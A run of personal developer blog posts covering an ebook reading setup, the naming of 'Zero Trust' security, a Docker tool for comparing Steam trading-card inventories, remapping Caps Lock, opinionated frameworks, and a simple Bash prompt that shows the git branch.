<p>In any case, it does not look like such a thing will be created anytime soon, the last <a href="https://github.com/opds-community/drafts/discussions/49">discussion around this topic</a> was in 2019.</p>
<h2 id="summary" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/my-ebook-reading-setup/#summary">Summary</a></h2>
<p>There’s a lot of text in this post, but the premise is simple. Add books to Calibre. Sync it to the Raspberry Pi and make it available using Calibre-Web through Cloudflare, <a href="https://github.com/mendhak/docker-calibre-web-cloudflared">as shown in this docker-compose repo</a>. I then access Calibre-Web from my apps and devices.</p>
<p>The flow, end-to-end, looks like this:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/my-ebook-reading-setup/012.png">
<img src="https://code.mendhak.com/assets/images/my-ebook-reading-setup/012.png" alt="All together" loading="lazy" /></span>
<figcaption>All together</figcaption>
</figure><p></p>
<p>(<a href="https://code.mendhak.com/assets/images/my-ebook-reading-setup/EbookReading.excalidraw">Diagram</a> made in Excalidraw!)</p>
'Zero Trust' security is a poor choice of words2022-04-19T00:00:00Zhttps://code.mendhak.com/zero-trust-poor-choice-of-words/<p>There is a growing focus on <a href="https://www.cnbc.com/2022/03/01/why-companies-are-moving-to-a-zero-trust-model-of-cyber-security-.html">Zero Trust security models</a> across businesses, and with this changing landscape will come a new set of security paradigms and processes that end users will need to adapt to.</p>
<p>This isn’t going to be a frictionless process — workflow changes are very difficult to take up in established environments. They tend to have a habit of highlighting areas that hadn’t been considered before, with it comes the disruption and ripple effect on everything around it.</p>
<h2 id="why-it-s-important" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/zero-trust-poor-choice-of-words/#why-it-s-important">Why it’s important</a></h2>
<p>User frustration will be brought to the forefront, and this security model will be seen as a blocker to productivity and ‘getting the job done’. What will not help is the users is being told that this is part of a ‘zero trust’ security model. From the user’s perspective, this phrase has a negative connotation — it tells the user that they are not trustworthy, and it <a href="https://www.forbes.com/sites/johnhall/2021/03/14/why-a-focus-on-employee-trust-is-essential/">goes against building trust in the workplace</a>.</p>
<p>It’s important to point out here, if we want widespread adoption of a new security model, getting buy-in from the people who will be living it, is paramount. With the right buy-in, the same users can become proponents and even champions of the new systems, and that helps <em>everyone</em>. Antagonistic phrasing paired with a troublesome implementation can make the same users the biggest barriers to its adoption.</p>
<h2 id="naming-things-is-hard" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/zero-trust-poor-choice-of-words/#naming-things-is-hard">Naming things is hard</a></h2>
<p>Naming things is hard, I’m not good at it; I can, however, recognize where a better name would help. Also, that isn’t going to stop me from making suggestions anyway.</p>
<p>From a <em>security</em> perspective, ‘zero trust’ makes a lot of sense and conveys information about the underlying trust model. Expecting users to grasp its implications from just that is a <a href="https://i.imgur.com/40Idny0.png">You’re Not Wrong meme</a>. If security is everybody’s responsibility, there needs to be a sense of togetherness on the journey. The naming and messaging needs to tell the user that the speed bumps they’re encountering are there for a reason, the reason should be easy to intuit. Ideally (but more likely impossibly) it ought to also convey that it is worth it in the grand scheme of things.</p>
<h3 id="marketing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/zero-trust-poor-choice-of-words/#marketing">Marketing</a></h3>
<p>As distasteful as it may seem to technologists, the ‘marketing’ around a name plays a big role. An example from another area is <a href="https://en.wikipedia.org/wiki/Serverless_computing">‘serverless computing’</a>, which most certainly involves servers, just not servers that its users would normally be concerned with. It is a misnomer from the implementer’s perspective, that conveys certain aspects of its usage to developers. It certainly beats “deploy and run your code to my server” which starts going into details that some people would rather not think about.</p>
<p>On the other hand, we don’t want to go too far with the naming. An example that springs to mind is the prefix ‘magic’. See <a href="https://www.okta.com/uk/blog/2020/09/magic-links/">Magic links</a>, where a user clicks a link to authenticate. Calling something ‘magic’ is in the realm of telling the user they’re too stupid to understand what’s going on.</p>
<h3 id="examples" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/zero-trust-poor-choice-of-words/#examples">Examples</a></h3>
<p>Google have phrased their implementation as <a href="https://www.beyondcorp.com/">“BeyondCorp”</a> which takes the connotations away by talking about the edges. Could this be evolved to take on a more generic meaning?</p>
<p>“Parameterless Security” or “Boundaryless Security” - in a similar vein to BeyondCorp, it’s conveying a sense of security that’s everywhere. Quite a mouthful to say.</p>
<p>“Continuous Verification” or “Continuous Security” - this is somewhat accurate, though it sounds a bit tedious; would a user think that they’ll need to keep logging in every few minutes?</p>
<p>“Just in Time Access” - not too bad, this conveys the why of certain things happening. This might get confused with <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation">Just in Time compilation</a>.</p>
<p>“End to End Security” - it’s generic, and sounds similar to “End to End Encryption” which has a modern usage made popular by Whatsapp. Could work.</p>
<h2 id="conclusion" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/zero-trust-poor-choice-of-words/#conclusion">Conclusion</a></h2>
<p>Zero Trust is a phrase with negative connotations. I hope that someone with a better head can come up with more suitable naming and messaging around the Zero Trust model to help inculcate its benefits and its necessity, and get buy-in from users.</p>
<p>Proper naming and messaging will assist with its adoption, as the implementation of Zero Trust is not going to be frictionless, despite vendor claims to the contrary.</p>
<p>To put it antagonistically, anyone saying that it will be frictionless is either trying to sell a product, or is a policy maker that is unlikely to feel its effects (or should I say, zero-empathy?).</p>
Tool to find Steam trading card sets in common with another user2022-04-14T00:00:00Zhttps://code.mendhak.com/steam-find-common-trading-sets/<p>On Steam, I like to trade with other users to complete my card sets, and craft badges. A common way to find users offering trades is on the <a href="https://steamcommunity.com/groups/tradingcards/discussions">Steam Trading Cards Group</a>. Now, in this group, some people will accept cross-set trades.</p>
<p>Usually, a cross-set trade is where you offer cards belonging to a set that they have, in exchange for 1 card from a set that you want to complete. I find this to be a good way to offload sets that I’m not interested in.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/steam-find-common-trading-sets/001.png"><img src="https://code.mendhak.com/assets/images/steam-find-common-trading-sets/001.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/steam-find-common-trading-sets/002.png"><img src="https://code.mendhak.com/assets/images/steam-find-common-trading-sets/002.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>People accepting cross set trades</figcaption></figure>
<p>The problem: these users often have thousands of cards and it isn’t a simple task to click through each page, and figure out which trading sets we have in common.</p>
<p>I haven’t been able to find any tool that can easily compare two users’ inventories and show which trading sets they have in common, so I wrote <a href="https://github.com/mendhak/steam-find-common-trading-sets">my own commandline tool</a> to do this.</p>
<h2 id="how-to-use-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-find-common-trading-sets/#how-to-use-it">How to use it</a></h2>
<p>The command is:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--rm</span> <span class="token parameter variable">-t</span> mendhak/steam-find-common-trading-sets <span class="token operator"><</span>my_user_steam_id<span class="token operator">></span> <span class="token operator"><</span>their_user_steam_id<span class="token operator">></span></code></pre>
<p>To get the Steam IDs, I use the <a href="https://steamid.io/">steamid.io website</a>. Entering the Steam usernames there will reveal the SteamID64.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/steam-find-common-trading-sets/003.png">
<img src="https://code.mendhak.com/assets/images/steam-find-common-trading-sets/003.png" alt="SteamID" loading="lazy" /></span>
<figcaption>SteamID</figcaption>
</figure><p></p>
<p>This gives:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">--rm</span> <span class="token parameter variable">-t</span> mendhak/steam-find-common-trading-sets <span class="token number">76561197984170060</span> <span class="token number">76561198033232307</span></code></pre>
<p>Running this command, the two inventories are fetched and compared, and the output is presented in a table.</p>
<p>The gray text shows cards that both users have in common, the whiter text shows cards that one user has that the other doesn’t.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/steam-find-common-trading-sets/004.png">
<img src="https://code.mendhak.com/assets/images/steam-find-common-trading-sets/004.png" alt="Results" loading="lazy" /></span>
<figcaption>Results</figcaption>
</figure><p></p>
<h2 id="notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/steam-find-common-trading-sets/#notes">Notes</a></h2>
<p>This tool is a basic NodeJS script which runs against the semi-documented Steam API. It will fetch the inventory for each user, and for users with a lot of items, this can take a little time. There are some Steam API quirks, so sometimes the API calls can simply start failing for unknown reasons. Just rerun the tool again and it should start working again.</p>
<p>After fetching inventory items, it then performs the comparison and renders the results in a table in the terminal for easy viewing. There’s also some filtering done to remove gems and avatars and emotes. And finally the output text is colored to indicate which cards are common and which cards are exclusive to each user.</p>
Repurposing Caps Lock into something useful2022-03-24T00:00:00Zhttps://code.mendhak.com/make-caps-lock-useful/<p>Does there exist a key more useless, more banal in its existence than Caps Lock? For most typical computer usage and software development there is no reason to use it, and yet it persists as a <a href="https://www.howtogeek.com/683823/why-does-the-caps-lock-key-exist-and-why-was-it-created/">holdover from the typewriter era</a>.</p>
<p>There do exist other keys which are less often used, such as Pause, and Scroll Lock, but when measuring by ratio of surface area to uselessness, the Caps Lock key comes ahead. It is also in close proximity to ASDF and WASD, which only helps to further amplify just what a deadweight it is.</p>
<p>It is even harmful. An accidental press of Caps Lock can lead to accidental shouting in social media, incorrect password attempts, and even bad habits forming. I have even witnessed actual grown adults, functioning members of society, using it in place of a Shift key. They will press Caps Lock, type the letter, then press Caps Lock again. I did not enquire as to what series of circumstances, events and abuse led to such a habit being formed. I could only inform them that the Shift key exists, and merely holding this key down for a moment replicates the entire functionality of Caps Lock — they feigned polite interest.</p>
<p>I have been searching for better uses of the Caps Lock key and am listing some better uses I’ve found, as well as some observations regarding this key.</p>
<figure><span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/001full.png"><img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/001full.png" alt="Keyboard with dark keycaps and a shrug symbol on Caps Lock key" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Caps Lock key replaced on my keyboard with a shrug (MT3 Susuwatari)</figcaption></figure>
<div class="notice info">
Of course there are some fields where the Caps Lock key gets used regularly, such as engineering drawing, certain kinds of data entry, and legal. However for the purposes of self-serving hyperbole, these shall be ignored.
</div>
<h2 id="linux-as-a-compose-key" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#linux-as-a-compose-key">Linux, as a Compose Key</a></h2>
<p>Entering special characters on most OSes is a difficult process either involving additional overlays, keyboard modes, or awkward shortcuts.</p>
<p>By far one of the most intuitive, most human ways I’ve found of entering special characters is through Compose Keys on Linux. A Compose Key is a special key that allows you to press multiple keys in a row to get a special character. The Compose Key can be assigned by the user — and this is where the Caps Lock key is made useful by assigning it as a Compose Key. For example:</p>
<p><kbd>Caps</kbd> <kbd>e</kbd> <kbd>'</kbd> = é</p>
<p><kbd>Caps</kbd> <kbd>L</kbd> <kbd>-</kbd> = £</p>
<p><kbd>Caps</kbd> <kbd><</kbd> <kbd>=</kbd> = ≤</p>
<p>To enable Compose Keys in Ubuntu 20.04, open <a href="https://linuxhint.com/gnome_tweak_installation_ubuntu/">Gnome Tweaks</a> keyboard settings, look for the Compose Key option. Caps Lock can be selected here.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/003.png">
<img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/003.png" alt="Keyboard and mouse settings in Ubuntu 20.04, with Compose Key selection dialog" title="" loading="lazy" /></span>
<figcaption>Gnome Tweaks Compose Key</figcaption>
</figure><p></p>
<p>In Ubuntu 22.04, it’s available directly in Settings. Go to Keyboard, and under ‘Special Character Entry’ change the Compose Key there.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/003b.png">
<img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/003b.png" alt="Keyboard settings in Ubuntu 22.04, with Compose Key menu" title="" loading="lazy" /></span>
<figcaption>Ubuntu 22.04 Compose Key setting</figcaption>
</figure><p></p>
<p>There are <a href="https://cheatography.com/davechild/cheat-sheets/ubuntu-compose-key-combinations/">Compose Key Cheatsheets available</a> which usually list the most common combinations; the <a href="https://cgit.freedesktop.org/xorg/lib/libX11/plain/nls/en_US.UTF-8/Compose.pre">complete list is massive</a></p>
<div class="notice info">
Note that the Compose Keys are a <em>sequence</em>. Don’t hold down Caps while pressing the other keys like a shortcut. Simply type the keys one after the other.
</div>
<h2 id="chromebook-as-a-searcher" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#chromebook-as-a-searcher">Chromebook, as a searcher</a></h2>
<p>The Chromebook actually recognizes how unnecessary this key is, and goes ahead and replaces the Caps Lock key entirely. The button in its place can show the Launcher or start a search. That’s pretty functional.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/002.jpg">
<img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/002.jpg" alt="Keyboard of a Chromebook with a search button in place of Caps Lock" title="" loading="lazy" /></span>
<figcaption>Chromebook Keyboard</figcaption>
</figure><p></p>
<h2 id="powertoys-as-a-video-conferencing-tool" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#powertoys-as-a-video-conferencing-tool">PowerToys, as a video conferencing tool</a></h2>
<p>PowerToys is a collection of useful utilities meant for power users on Windows. One of its utilities is a feature called <a href="https://docs.microsoft.com/en-us/windows/powertoys/video-conference-mute">Video Conference Mute</a>, which lets you quickly mute or unmute yourself regardless of the video conferencing software you’re using such as Teams, Zoom or Slack. The default shortcut for the audio mute is <kbd>Win</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd>.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/007.png"><img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/007.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/006.png"><img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/006.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Getting CapsLock to toggle mute in video conferences</figcaption></figure>
<p>It cannot <em>directly</em> be set to Caps Lock, however PowerToys also comes with a <a href="https://docs.microsoft.com/en-us/windows/powertoys/keyboard-manager">Keyboard Manager</a> which allows you to assign a key to another key sequence. In Keyboard Manager, set <kbd>Caps</kbd> to <kbd>Win</kbd>+<kbd>Shift</kbd>+<kbd>A</kbd>, and there’s your audio mute, with a somewhat useful Caps Lock key.</p>
<h2 id="map-it-to-something-else" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#map-it-to-something-else">Map it to something else</a></h2>
<h3 id="shift-and-escape" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#shift-and-escape">Shift and Escape</a></h3>
<p>An alternative to any of the features above is to simply allow remapping Caps Lock to any number of other more commonly or more useful keys such as <kbd>Esc</kbd>, or <kbd>Shift</kbd>. Remapping to Escape or Shift is sometimes seen among gamers, speedtypers, and vim users.</p>
<p>The PowerToys Keyboard Manager mentioned above can do this, and there are also other third party software that allow remapping, such as the popular <a href="https://www.autohotkey.com/">AutoHotKey</a> and <a href="https://github.com/susam/uncap">Uncap</a>.</p>
<p>In AutoHotKey this would be done with:</p>
<pre><code>Capslock::
Send, {Escape}
return
</code></pre>
<h3 id="switching-keyboard-layouts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#switching-keyboard-layouts">Switching keyboard layouts</a></h3>
<p>AutoHotKey adds a lot of versatility, it can also be used to <a href="https://superuser.com/questions/429930/using-capslock-to-switch-the-keyboard-language-layout-on-windows-7">switch keyboard layouts</a> for multilingual typers.</p>
<p>In Ubuntu this can be done by remapping the keyboard shortcut for input sources.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/make-caps-lock-useful/004.png">
<img src="https://code.mendhak.com/assets/images/make-caps-lock-useful/004.png" alt="Keyboard shortcut to switch input sources" title="" loading="lazy" /></span>
<figcaption>Keyboard shortcuts</figcaption>
</figure><p></p>
<h2 id="turn-it-off" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/make-caps-lock-useful/#turn-it-off">Turn it off</a></h2>
<p>A not uncommon approach is to <a href="https://www.wikihow.com/Turn-Off-Caps-Lock">just turn Caps Lock off</a>. It’s a marginal improvement, and helps avoid any Caps Lock associated pain.</p>
In praise of opinionated frameworks2022-03-12T00:00:00Zhttps://code.mendhak.com/opinionated-frameworks/<p>It might appear that the tech industry tends to gravitate towards tools, languages and frameworks that are highly flexible by design. Said technologies will capture attention through numerous blog posts, articles and social media bluster about them, perpetuating their <a href="https://www.gartner.co.uk/en/methodologies/gartner-hype-cycle">hype cycles</a>. The problem with this perception is that it prematurely captures mindshare which in turn can lead to poor decision making among the <a href="https://www.hanselman.com/blog/dark-matter-developers-the-unseen-99">unseen 99%</a> of developers.</p>
<p>Those decisions are often based on popularity and not merit, and such decisions come with consequences. Instead of teams learning <em>how</em> to pick technologies based on requirements, they are pressured into <em>what</em> to pick despite requirements. The biggest selling point from an organisational perspective is the flexibility of those technologies, and the potential that they offer, even if they never end up using that potential.</p>
<p>The pressure is felt especially in organisations where a team is an island using or considering using <em>x</em> in an ocean of <em>y</em>, and where the terms ‘efficiencies’ and ‘scale’ get thrown around to enforce consistency, scaring the teams to conform or perish as pariahs. The consequences of these forced decision are not felt by the ones doing the enforcement, but by the teams using it, over a protracted period of unquantifiable paper cuts. One of the major downsides of very flexible frameworks is the mental overhead that it introduces and the way those overheads manifests itself throughout its various touchpoints.</p>
<p>I don’t consider flexible things to be a great first choice when making certain kinds of tech decisions. Instead, the simplest way to get started on a new technology is to use <em>opinionated</em> things. These are tools, languages, and frameworks that accomplish the same thing as their flexible counterparts, but in a prescribed, specific, dogmatic way. They are relatively easier and faster to get started with, and simpler to work with as there is no real debate about how things should be done, just get things done. Over time as the stack and the teams grow, they can learn what their requirements and needs are, and finally gain greater confidence in the decision making behind future things, including very flexible things, or continuing with opinionated things.</p>
<h2 id="container-orchestration" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/opinionated-frameworks/#container-orchestration">Container orchestration</a></h2>
<p>The biggest name in orchestration at present is Kubernetes (k8s) which has certainly <a href="https://searchsoftwarequality.techtarget.com/news/252474373/Kubernetes-tools-vendors-vie-for-developer-mindshare">captured the mindshare</a> in this space. It is a powerful, pluggable framework which many organisations certainly benefit from, and this flexibility has spawned its own mini-industry of software and tooling, because it abstracts the OS layer away and proceeds to recreate existing OS concepts within its own realm.</p>
<p>K8s is so popular, that it gets <a href="https://aws.plainenglish.io/containers-are-not-just-for-kubernetes-fa330653cbbd"><em>confused</em> with running containers</a>. It is also a very ‘komplik8d’ beast, in terms of the number of moving parts and the security attack surface. Sadly it is not uncommon for teams to run k8s clusters without understanding what it’s doing behind the scenes or even being aware of many consequences of their decisions on the cluster’s security. That’s not usually a concern until it does become a concern (that’s a problem for future me!). Getting started with a k8s cluster setup is not a light task either, as a lot of implementation decisions need to be made up front, and if there is no coordination and agreement between teams, the end result is a set of clusters that look and behave differently; the benefits of scaling and efficiencies are therefore lost. For these reasons, it’s not a great idea to run a k8s cluster without having dedicated organisational support in place to manage it. K8s becomes a double-edged sword, that same organisational structure increases the barrier towards standing up what ought to be very simple tasks, since suborgnisational complexity and processes only ever increase over time.</p>
<p>The simpler, opinionated alternatives to k8s are Docker Swarm, Nomad and ECS Fargate. Swarm is one of the simplest and easiest ways to get started with Docker deployments, for zero to medium scaling needs (beaten in simplicity by standalone docker containers). It is very easy to create and join swarms with a single command, and swarms can also run docker-compose files, which gives it almost no overhead translating local development workflows to deployment workflows. For teams that are moving from normal VMs and EC2s into the world of containers, Docker Swarm is an excellent starting choice with minimal lock-in and overhead.</p>
<p>AWS ECS Fargate containers are a step just beyond that, it’s the equivalent of ‘serverless’ docker. It can also <a href="https://docs.docker.com/cloud/ecs-integration/">work with docker compose files</a>, but is most commonly deployed to using ECS Task Definitions, specifying resources, secrets, environment variables, and ECS takes care of the rest — running the container, health checks and ensuring a minimum baseline. The overhead is minimal, though slightly more than Docker Swarm, and is still a very good choice for teams that want to run containers without the overhead of managing servers.</p>
<h2 id="spa-frameworks" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/opinionated-frameworks/#spa-frameworks">SPA frameworks</a></h2>
<p>Single Page Application frameworks (SPAs) are a common way to build modern web applications. The most popular SPAs currently are React, Angular and Vue, with React taking a greater portion of the developer mindshare. React is highly flexible built with abstractions in mind, with many different components and implementations available for different parts of its stack. The language’s complexity has been increasing over time, have a look at the <a href="https://reactjs.org/docs/hooks-intro.html">page about Hooks</a> which struggles to explain or introduce the concept properly. React is an ecosystem unto itself, with a steep learning curve. Getting started with a React project is not a fast process either — the team must decide and often debate over what kinds of components they will use. Each piece of the stack represents its own moving part, and each one is a non-transitive dependency that has its own repositories, maintenance cycles, and vulnerabilities. The end result is that different React codebases even within the same team can look and behave differently, and have to be developed differently too.</p>
<p>Angular and Vue are the relatively simpler, opinionated alternatives. ‘Relatively’ because there is no such thing as truly simple SPA frameworks, modern development is irreversibly bloated; for the purposes of this topic though Angular and Vue are simpler from a development perspective. In Angular, pretty much everything needed for the application is defined and ready to be generated, including the structure, adding required files, naming conventions, and routing. There is usually just one way to accomplish a task, the ‘Angular way’, and this results in a consistent set of codebases across teams.</p>
<h2 id="languages" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/opinionated-frameworks/#languages">Languages</a></h2>
<p>Java is commonly used for enterprise and banking applications. It is not actually an example of an unopinionated language, but gets treated like one for another reason. In certain areas of Java, the lack of certain language features, or complexity of certain other language features over the past decades has made it a very common practice to use third party libraries to simplify development. Common areas where third party libraries get used are date-time functions, collection functions, dependency injection, MVC, API, unit testing, OAuth. Again, this comes with the overhead of teams deciding what to use for which topic, but at the same time Java’s third party community ecosystem has matured very well over time and is probably one of the best all around.</p>
<p>C# (.NET) and Python tend to strike a balance in these areas, and they do it quite well. C# is quite opinionated, and it helps that .NET already comes with unit testing, MVC, API, dependency injection, as well as a consistent, well designed, easy to use language syntax and language APIs. It is not very common for .NET teams to use very many third party libraries, nor is it common to look towards third party libraries by default. .NET provides most of what’s needed, and sometimes it doesn’t, for which there are third party libraries.</p>
<p>Python is well known for being opinionated, that’s one of its defining features and its selling points. It is one of the easiest languages to get started with and to work with due to its simple design. It’s highly readable, almost pseudo-code like, and there are simple guidelines to follow. There is often just one way to do a thing in Python and it is common to use the word <a href="https://docs.python-guide.org/writing/style/">Pythonic</a> to describe these. Little wonder that it gets used for simple projects aimed at learning programming, as well as huge projects for datascientists who are more concerned with the data, rather than the language features itself.</p>
<h2 id="counter-examples" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/opinionated-frameworks/#counter-examples">Counter examples</a></h2>
<p>These viewpoints on opinionated things versus flexible things probably won’t stand up to a lot of scrutiny; it’s pretty easy to come up with counter examples. Ruby is a language that is opinionated, but seems to have gone <em>too far</em> with its opinions. It dives deeply into the concept of convention-over-configuration, and in doing so, creates a lot of behind the scenes magic that requires a lot of pre-knowledge before using or understanding it well; the true knowledge of its syntax and its behaviors feels more tribalistic to a set of esoteric elders who have taken the time to read the documentation, but is not necessarily friendly to casual beginners. One could say it has gone off the rails.</p>
<p>Not precisely a counter example, but a case of deliberate decision making: operating systems. Commercial desktop and mobile operating systems (win/mac/ios/android) are opinionated, and designed to pull users in and lock them in to their ecosystems. These systems are harmful from a privacy perspective as they deny users choice and control of their data and workflows. The best accessible alternatives are Linux based operating systems (distros). Linux distros are not opinionated, quite the opposite, with each distro expressing itself slightly differently. Similarly for mobile OSes there are Graphene and CalyxOS, very secure and private, but not opinionated at all. For operating systems, that flexibility is not a bad thing, since they are a tool meant for direct user interaction. People whose requirements include privacy and control of their data, as well as developers and advanced users, would take the time to set up a Linux distro.</p>
A simple and effective Bash prompt for developers2022-02-09T00:00:00Zhttps://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/<p>In Bash I use a very basic prompt which is simple and effective.<br />
It consists only of the time, path, and git branch.</p>
<p>It appears like this for normal directories:</p>
<div class="language-bash highlighter-rouge">
<div class="highlight">
<pre class="highlight">
<code><span style="color:#d3d7cf;">19:04:17</span> <span style="color:#4e9a06;">~</span> $
</code></pre></div></div>
<p>And like this for git repos:</p>
<div class="language-bash highlighter-rouge">
<div class="highlight">
<pre class="highlight">
<code><span style="color:#d3d7cf;">19:04:17</span> <span style="color:#4e9a06;">~/projects/myrepo</span> <span style="color:#c4a000">(master*)</span> <span style="color:#d3d7cf;">$</span>
</code></pre></div></div>
<p><strong>To use it</strong>, add this to your <code>~/.bashrc</code> and reload:</p>
<pre class="language-bash"><code class="language-bash"><span class="token keyword">function</span> <span class="token function-name function">parse_git_dirty</span> <span class="token punctuation">{</span>
<span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token variable"><span class="token variable">$(</span><span class="token function">git</span> status <span class="token parameter variable">--porcelain</span> <span class="token operator"><span class="token file-descriptor important">2</span>></span> /dev/null<span class="token variable">)</span></span> <span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">&&</span> <span class="token builtin class-name">echo</span> <span class="token string">"*"</span>
<span class="token punctuation">}</span>
<span class="token keyword">function</span> <span class="token function-name function">parse_git_branch</span> <span class="token punctuation">{</span>
<span class="token function">git</span> branch --no-color <span class="token operator"><span class="token file-descriptor important">2</span>></span> /dev/null <span class="token operator">|</span> <span class="token function">sed</span> <span class="token parameter variable">-e</span> <span class="token string">'/^[^*]/d'</span> <span class="token parameter variable">-e</span> <span class="token string">"s/* \(.*\)/ (<span class="token entity" title="\1">\1</span><span class="token variable"><span class="token variable">$(</span>parse_git_dirty<span class="token variable">)</span></span>)/"</span>
<span class="token punctuation">}</span>
<span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PS1</span></span><span class="token operator">=</span><span class="token string">"<span class="token entity" title="\n">\n</span><span class="token entity" title="\t">\t</span> \[<span class="token entity" title="\033">\033</span>[32m\]\w\[<span class="token entity" title="\033">\033</span>[33m\]\<span class="token variable"><span class="token variable">$(</span>parse_git_branch<span class="token variable">)</span></span>\[<span class="token entity" title="\033">\033</span>[00m\] $ "</span></code></pre>
<h2 id="why-it-s-effective" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/#why-it-s-effective">Why it’s effective</a></h2>
<p>A Bash prompt, like any tool, should be useful, and importantly, stay out of your way.</p>
<p>The <strong>time</strong> (<code>\t</code>) tells you when the last command stopped running, and also serves as a clock that’s right there.</p>
<p>The current <strong>directory</strong> (<code>\w</code>) of course tells you where you are.</p>
<p>The <strong>branch</strong> (<code>parse_git_branch</code>) name tells you which branch you’re working in. It also indicates the dirty status, and can work with detached HEADs.</p>
<p>These three pieces of information are usually sufficient data points in the context of working.</p>
<p>The above PS1 is also self contained, and should work with IDEs that embed terminals.</p>
<h2 id="alternative-using-git-s-built-in-helper" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/#alternative-using-git-s-built-in-helper">Alternative: Using git’s built-in helper</a></h2>
<p>Git itself provides a built-in command (<code>__git_ps1</code>) that can provide the same branch information, which results in an easy one-liner to add to <code>~/.bashrc</code>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PS1</span></span><span class="token operator">=</span><span class="token string">"<span class="token entity" title="\n">\n</span><span class="token entity" title="\t">\t</span> \[<span class="token entity" title="\033">\033</span>[32m\]\w\[<span class="token entity" title="\033">\033</span>[33m\]\<span class="token variable"><span class="token variable">$(</span><span class="token assign-left variable">GIT_PS1_SHOWUNTRACKEDFILES</span><span class="token operator">=</span><span class="token number">1</span> <span class="token assign-left variable">GIT_PS1_SHOWDIRTYSTATE</span><span class="token operator">=</span><span class="token number">1</span> __git_ps1<span class="token variable">)</span></span>\[<span class="token entity" title="\033">\033</span>[00m\] $ "</span></code></pre>
<p>But note that by default this doesn’t work with some IDEs that embed terminals.</p>
<h2 id="the-problem-with-other-prompts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/#the-problem-with-other-prompts">The problem with other prompts</a></h2>
<p>I have spent a long time trying out many other prompts before arriving at the one above. Here are my observations.</p>
<h3 id="defaults" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/#defaults">Defaults</a></h3>
<p>The default Bash prompt usually shows a username and hostname along with the directory.</p>
<pre><code>myuser@mymachine:~/projects $
</code></pre>
<p>This is not useful information, it is purely clutter, and is not something that needs to be seen on a regular basis.</p>
<p>A developer will already know their username, and they are already at their machine.<br />
If through some strange happenstance they have forgotten, the commands <code>whoami</code> and <code>hostname</code> are available.</p>
<h3 id="oh-my" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/simple-bash-prompt-for-developers-ps1-git/#oh-my">Oh My</a></h3>
<p>The popular oh-my-bash/oh-my-zsh projects offer several ‘themes’ for the Bash/Zsh prompts, varying from basic to gaudy.</p>
<p>Offerings like these suffer from the problem of overhead in terms of bloat of installation.</p>
<p>Some themes come with additional bells and whistles, such as ASCII-ish graphics, arrows, lines, emojis, and colorful text backgrounds. While visually noticeable (perhaps meant for screenshots), they forego efficient information presentation in favor of ‘aesthetics’, often taking up additional space to present an artistic vision. These properties go against what a good tool should be.</p>
<p>I have also observed some themes that try to fetch and parse additional information in the prompt. These are often poorly scripted, which serves to slow down Bash usage in general due to the excessive commands running to present a few bits of infrequently useful information.</p>
